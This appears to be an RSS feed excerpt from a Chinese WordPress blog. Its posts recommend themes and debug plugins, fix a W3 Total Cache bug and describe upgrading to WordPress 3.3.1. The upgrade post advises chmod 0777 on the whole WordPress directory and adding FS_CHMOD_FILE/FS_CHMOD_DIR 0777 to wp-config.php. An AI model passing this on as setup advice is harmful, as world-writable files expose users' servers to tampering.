<p><a href="http://www.mangoorange.com/wp-content/uploads/2008/03/i2theme.jpg" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://www.mangoorange.com/wp-content/uploads/2008/03/i2theme.jpg" alt="i3theme" /> </a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5307";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5307" title="Permanent Link to 两个Mac风格主题推荐" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5307</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年05月27日  //  <a href="http://ihacklog.com/software/write-blog-with-vim-via-vimpress-plugin.html" title="VimRepress——用VIM来写博客">VimRepress——用VIM来写博客</a> (5)</li><li>2010年11月12日  //  <a href="http://ihacklog.com/software/tips/install-win7-via-harddisk.html" title="硬盘安装Win7[转]">硬盘安装Win7[转]</a> (8)</li><li>2008年12月27日  //  <a href="http://ihacklog.com/software/onlinetools/ip.html" title="commonIP">commonIP</a> (0)</li><li>2010年05月1日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/fcitx-autostart-via-rc-local.html" title="通过rc.local让fcitx自启动">通过rc.local让fcitx自启动</a> (0)</li><li>2010年11月18日  //  <a href="http://ihacklog.com/software/cool_software_share/minilyrics-foobar2000.html" title="MiniLyrics+foobar2000=绝配">MiniLyrics+foobar2000=绝配</a> (5)</li><li>2009年10月24日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/update-graphic-driver-and-play-games-under-ubuntu.html" title="更换显卡驱动，Ubuntu也玩游戏">更换显卡驱动，Ubuntu也玩游戏</a> (9)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/theme/two-mac-like-wordpress-theme.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WP调试插件三款</title>
		<link>http://ihacklog.com/php/wordpress/plugins/three-wp-debuging-plugins.html</link>
		<comments>http://ihacklog.com/php/wordpress/plugins/three-wp-debuging-plugins.html#comments</comments>
		<pubDate>Sat, 07 Jan 2012 12:41:44 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp插件]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5303</guid>
		<description><![CDATA[其实是从盘先海童鞋那里瞟到的~~~ BlackBox Debug Bar,此插件详细介绍见《WordPress Debug插件：BlackBox》 Debug Bar Debug Bar Console 喜欢这篇文章吗?请订阅本站 RSS feed 或 作者：荒野无灯 出处：Hacklog【荒野无灯weblog】 声明: 本站遵循 署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】 本文链接: http://ihacklog.com/?p=5303 ...]]></description>
			<content:encoded><![CDATA[<p>其实是从盘先海童鞋那里瞟到的~~~<br />
<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fblackbox-debug-bar%2F" target="_blank">BlackBox Debug Bar</a>,此插件详细介绍见<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwww.panxianhai.com%2Fblackbox-debug-plugin.html" target="_blank">《WordPress Debug插件：BlackBox》</a><br />
<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fdebug-bar%2F" target="_blank">Debug Bar</a><br />
<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fdebug-bar-console%2F" target="_blank">Debug Bar Console</a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5303";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5303" title="Permanent Link to WP调试插件三款" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5303</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年06月6日  //  <a href="http://ihacklog.com/software/font-manager-for-linux.html" title="font manager for linux">font manager for linux</a> (0)</li><li>2010年04月10日  //  <a href="http://ihacklog.com/server/setup-bind-proxy-server-under-windows-7.html" title="Windows下安装BIND作为DNS缓存服务器">Windows下安装BIND作为DNS缓存服务器</a> (11)</li><li>2010年02月28日  //  <a href="http://ihacklog.com/php/wordpress/theme/evail-wp-theme-ink-stain.html" title="这个wp主题有点小邪恶">这个wp主题有点小邪恶</a> (14)</li><li>2011年07月22日  //  <a href="http://ihacklog.com/server/mysql/com-mysql-jdbc-communicationsexception-communications-link-failure-solution.html" title="netbeans 连接 mysql数据库com.mysql.jdbc.CommunicationsException: Communications link failure解决办法">netbeans 连接 mysql数据库com.mysql.jdbc.CommunicationsException: Communications link failure解决办法</a> (0)</li><li>2009年11月2日  //  <a href="http://ihacklog.com/software/cool_software_share/sogou-cloud-input-method.html" title="搜狗云输入法">搜狗云输入法</a> (6)</li><li>2011年09月28日  //  <a href="http://ihacklog.com/php/wordpress/theme/wordpress-black-gray-theme-recommends.html" title="WordPress黑色/灰色主题推荐">WordPress黑色/灰色主题推荐</a> (7)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/plugins/three-wp-debuging-plugins.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>两个仿WP官网的主题</title>
		<link>http://ihacklog.com/php/wordpress/theme/two-fake-wordpress-themes.html</link>
		<comments>http://ihacklog.com/php/wordpress/theme/two-fake-wordpress-themes.html#comments</comments>
		<pubDate>Thu, 05 Jan 2012 11:03:26 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[主题风格]]></category>
		<category><![CDATA[wordpress中文论坛]]></category>
		<category><![CDATA[仿WP官网主题]]></category>
		<category><![CDATA[版主]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5285</guid>
		<description><![CDATA[第一个是shaynez童鞋的 貌似没有提供下载。 第二个是八月童鞋的，模仿的是WP中文站。提供下载。 喜欢这篇文章吗?请订阅本站 RSS feed 或 作者：荒野无灯 出处：Hacklog【荒野无灯weblog】 声明: 本站遵循 署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】 本文链接: http://ihacklog.com/?p=5285 随机日志2009年11月2日 // share a fast UBUNTU 9.10 source (...]]></description>
			<content:encoded><![CDATA[<p>第一个是<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwww.shaynez.com%2F" target="_blank">shaynez童鞋的</a><br />
貌似没有提供下载。</p>
<p><a href="http://static.ihacklog.com/wp-files/2012/01/shaynez.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2012/01/shaynez-550x264.png" alt="" title="shaynez" width="550" height="264" class="alignnone size-medium wp-image-5286" /> </a></p>
<p>第二个是<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fblog.august.hk%2Farchives%2Fcnwordpress.html" target="_blank">八月童鞋的</a>，模仿的是WP中文站。提供<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fblog.august.hk%2Farchives%2Fcnwordpress.html" target="_blank">下载</a>。</p>
<p><a href="http://static.ihacklog.com/wp-files/2012/01/cnwordpress.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2012/01/cnwordpress-550x266.png" alt="" title="cnwordpress" width="550" height="266" class="alignnone size-medium wp-image-5287" /> </a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5285";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5285" title="Permanent Link to 两个仿WP官网的主题" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5285</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年12月27日  //  <a href="http://ihacklog.com/software/tips/windows-live-writer-2009%e7%bb%bf%e8%89%b2%e6%ad%a3%e5%bc%8f%e7%89%88.html" title="Windows Live Writer 2009绿色正式版">Windows Live Writer 2009绿色正式版</a> (0)</li><li>2010年11月26日  //  <a href="http://ihacklog.com/memory/hacklog/the-latest-is-not-necessarily-the-best.html" title="最新的并不一定是最好的，够用就行">最新的并不一定是最好的，够用就行</a> (9)</li><li>2011年06月23日  //  <a href="http://ihacklog.com/linux/run-whireshark-as-non-root.html" title="以非root运行wireshark">以非root运行wireshark</a> (0)</li><li>2009年06月3日  //  <a href="http://ihacklog.com/php/wordpress/plugins/wploginlogger.html" title="wp login logger">wp login logger</a> (4)</li><li>2011年08月22日  //  <a href="http://ihacklog.com/software/cool_software_share/vim-color-scheme-obsidian.html" title="Obsidian配色方案——个人最爱 ">Obsidian配色方案——个人最爱 </a> (17)</li><li>2010年03月11日  //  <a href="http://ihacklog.com/software/tips/win7-install-qq2010-error.html" title="win7下安装QQ2010出错的解决办法">win7下安装QQ2010出错的解决办法</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/theme/two-fake-wordpress-themes.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>W3 Total Cache让你的WordPress博客飞起来！</title>
		<link>http://ihacklog.com/php/wordpress/plugins/w3-total-cache-gives-your-wordpress-flying-speed.html</link>
		<comments>http://ihacklog.com/php/wordpress/plugins/w3-total-cache-gives-your-wordpress-flying-speed.html#comments</comments>
		<pubDate>Wed, 04 Jan 2012 10:50:33 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp插件]]></category>
		<category><![CDATA[W3 Total Cache]]></category>
		<category><![CDATA[优化]]></category>
		<category><![CDATA[缓存]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5277</guid>
		<description><![CDATA[以前我一直不怎么喜欢装这种缓存类插件。今天试装了下W3 Total Cache这个插件，发现确实是很好很强大。 具体装上之后有什么效果，大家可以访问我的博客试试就知道了。 全面支持磁盘缓存、内存缓存(apc 缓存、 xcache 、wincache 、memcached ) 全面配置服务器端缓存、浏览器缓存 推荐使用虚拟主机的使用磁盘缓存，使用v..p..s的可以考虑使用apc或者memcached等内存缓存 插件下载地址： http://wordpress.org/extend/plugins/w3-t...]]></description>
			<content:encoded><![CDATA[<p>以前我一直不怎么喜欢装这种缓存类插件。今天试装了下W3 Total Cache这个插件，发现确实是很好很强大。<br />
 具体装上之后有什么效果，大家可以访问我的博客试试就知道了。</p>
<p> 全面支持磁盘缓存、内存缓存(apc 缓存、 xcache 、wincache 、memcached )</p>
<p> 全面配置服务器端缓存、浏览器缓存</p>
<p> 推荐使用虚拟主机的使用磁盘缓存，使用v..p..s的可以考虑使用apc或者memcached等内存缓存</p>
<p><a href="http://static.ihacklog.com/wp-files/2012/01/w3-total-cache.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2012/01/w3-total-cache-550x309.png" alt="" title="w3-total-cache" width="550" height="309" class="alignnone size-medium wp-image-5282" /> </a></p>
<p> 插件下载地址：<br />
<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fw3-total-cache%2F" target="_blank">http://wordpress.org/extend/plugins/w3-total-cache/</a></p>
<p> 另外，此插件最新版Version 0.9.2.4有一个小bug:</p>
<blockquote><p>PHP Fatal error:  Call to undefined function w3_url_format() in /home/USERNAME/public_html/wp-content/plugins/w3-total-cache/lib/W3/Plugin/PgCacheAdmin.php on line 213</p></blockquote>
<p> 解决办法如下：</p>
<p> 编辑<strong>PgCacheAdmin.php</strong>　， 在</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">require_once</span> W3TC_INC_DIR <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/functions/rule.php'</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>之后添加:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">require_once</span> W3TC_INC_DIR <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/functions/url.php'</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>见：<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Fplugin-w3-total-cache-call-to-undefined-function-after-update%3Freplies%3D3%23post-2308798" target="_blank">http://wordpress.org/support/topic/plugin-w3-total-cache-call-to-undefined-function-after-update?replies=3#post-2308798</a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5277";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5277" title="Permanent Link to W3 Total Cache让你的WordPress博客飞起来！" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5277</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2011年07月14日  //  <a href="http://ihacklog.com/software/tips/things-to-do-after-win7-installation.html" title="win7安装完后要做的16件事">win7安装完后要做的16件事</a> (24)</li><li>2010年05月19日  //  <a href="http://ihacklog.com/server/lnmp-vps-optimization.html" title="优化低内存VPS">优化低内存VPS</a> (10)</li><li>2010年04月29日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/gravatar-cache-advanced-method.html" title="Gravatar头像缓存再次修正版">Gravatar头像缓存再次修正版</a> (29)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/plugins/w3-total-cache-gives-your-wordpress-flying-speed.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>重新回到VPS上~~更新wp到3.3.1</title>
		<link>http://ihacklog.com/php/wordpress/upgrade/wordpress-upgraded-to-3-3-1.html</link>
		<comments>http://ihacklog.com/php/wordpress/upgrade/wordpress-upgraded-to-3-3-1.html#comments</comments>
		<pubDate>Wed, 04 Jan 2012 06:23:39 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp升级]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5275</guid>
		<description><![CDATA[后台直接一鍵升级了 由于apache运行用户与目录用户不相同，因此要成功自动升级还得做一些工作： 修改整个wp目录及其下所有目录和文件，设置其权限为 0777 然后一鍵升级。 文件上传成功！下面开始校验文件&#8230;&#8230; 需要检测的文件类型：php , js 正在产生当前文件校验&#8230;&#8230; 文件checksum生成完毕.下面开始检查文件完整性&#8230;&#8230; 文件校验完毕，以下为校验结果： The following discrepancies were fou...]]></description>
			<content:encoded><![CDATA[<h3>后台直接一鍵升级了</h3>
<p>由于apache运行用户与目录用户不相同，因此要成功自动升级还得做一些工作：<br />
修改整个wp目录及其下所有目录和文件，设置其权限为 0777<br />
然后一鍵升级。</p>
<hr />
<blockquote><p>文件上传成功！下面开始校验文件&#8230;&#8230;<br />
需要检测的文件类型：php , js<br />
正在产生当前文件校验&#8230;&#8230;<br />
文件checksum生成完毕.下面开始检查文件完整性&#8230;&#8230;<br />
文件校验完毕，以下为校验结果：<br />
The following discrepancies were found:</p>
<p>add<br />
index.php<br />
wp-config-sample.php<br />
alt<br />
wp-includes/nav-menu-template.php<br />
wp-includes/script-loader.php<br />
wp-includes/js/wplink.js<br />
wp-includes/user.php<br />
wp-includes/functions.wp-styles.php<br />
wp-includes/version.php<br />
wp-includes/class-wp-admin-bar.php<br />
wp-includes/functions.php<br />
wp-includes/capabilities.php<br />
wp-includes/class-wp-xmlrpc-server.php<br />
wp-admin/load-scripts.php<br />
wp-admin/js/common.js<br />
wp-admin/js/common.dev.js<br />
wp-admin/users.php<br />
wp-admin/about.php<br />
wp-admin/press-this.php<br />
wp-admin/includes/template.php<br />
wp-admin/includes/update-core.php<br />
wp-admin/includes/ms.php<br />
wp-admin/includes/dashboard.php<br />
wp-admin/includes/class-wp-comments-list-table.php<br />
wp-config.php</p></blockquote>
<hr />
<h3>升级后的工作</h3>
<p>升级完后，为了以后可以在后台一鍵安装主题和插件，需要做如下工作：<br />
在wp-config.php 增加</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//以下用于文件owner属于ftp时，apache进程无法创建目录、更改文件时用。</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'FS_METHOD'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'direct'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'FS_CHMOD_DIR'</span><span style="color: #339933;">,</span> <span style="color: #208080;">0777</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'FS_CHMOD_FILE'</span><span style="color: #339933;">,</span> <span style="color: #208080;">0777</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>在wp-content目录下面新建一目录名为upgrade的目录（如果没有这个目录的话），设置其权限为 0777 </p>
<hr />
<h3>替换蛋疼的仪表盘语言文件</h3>
注意：该页面嵌入了下载文件，请访问 <a href="http://ihacklog.com/php/wordpress/upgrade/wordpress-upgraded-to-3-3-1.html">该页面</a>下载该文件。
<h3>以前修改的文件重新修改</h3>
<p>由此可见，wp的自动升级越来越智能化了。升级的时候会自动校验文件，如果核心文件被修改，它会用最新的替换掉。<br />
3.3.1更新的文件列表在<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fcodex.wordpress.org%2FVersion_3.3.1" target="_blank">这儿</a></p>
<blockquote><p>wp-includes/js/wplink.js<br />
wp-includes/class-wp-xmlrpc-server.php<br />
wp-admin/includes/class-wp-comments-list-table.php</p></blockquote>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5275";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5275" title="Permanent Link to 重新回到VPS上~~更新wp到3.3.1" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5275</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年10月28日  //  <a href="http://ihacklog.com/software/cool_software_share/replacing-windows-notepad-with-notepad2.html" title="notepad的最佳替代者：notepad2">notepad的最佳替代者：notepad2</a> (17)</li><li>2011年08月2日  //  <a href="http://ihacklog.com/software/cool_software_share/two-black-and-cool-foobar2000-theme.html" title="分享两个黑色系列foobar2000主题">分享两个黑色系列foobar2000主题</a> (15)</li><li>2009年03月20日  //  <a href="http://ihacklog.com/php/framework/guanyufckeditorchulihtmlneirongdewentiyijiejue.html" title="关于fckeditor处理html内容的问题【已解决】">关于fckeditor处理html内容的问题【已解决】</a> (0)</li><li>2010年05月9日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/wordpress-2-9-2-use-3-0-get_avatar.html" title="wordpress 2.9.2先用着3.0的 get_avatar">wordpress 2.9.2先用着3.0的 get_avatar</a> (14)</li><li>2011年06月1日  //  <a href="http://ihacklog.com/software/powerfulvim/vim-plugins-you-should-know-about-surround.html" title="你应该知道的vim插件之surround.vim">你应该知道的vim插件之surround.vim</a> (0)</li><li>2009年04月10日  //  <a href="http://ihacklog.com/memory/weimeizhijing.html" title="唯美之境">唯美之境</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/upgrade/wordpress-upgraded-to-3-3-1.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>最近文章title属性去除HTML标签</title>
		<link>http://ihacklog.com/php/wordpress/problems/strip-title-attribute-html-tags.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/strip-title-attribute-html-tags.html#comments</comments>
		<pubDate>Tue, 03 Jan 2012 06:11:33 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5271</guid>
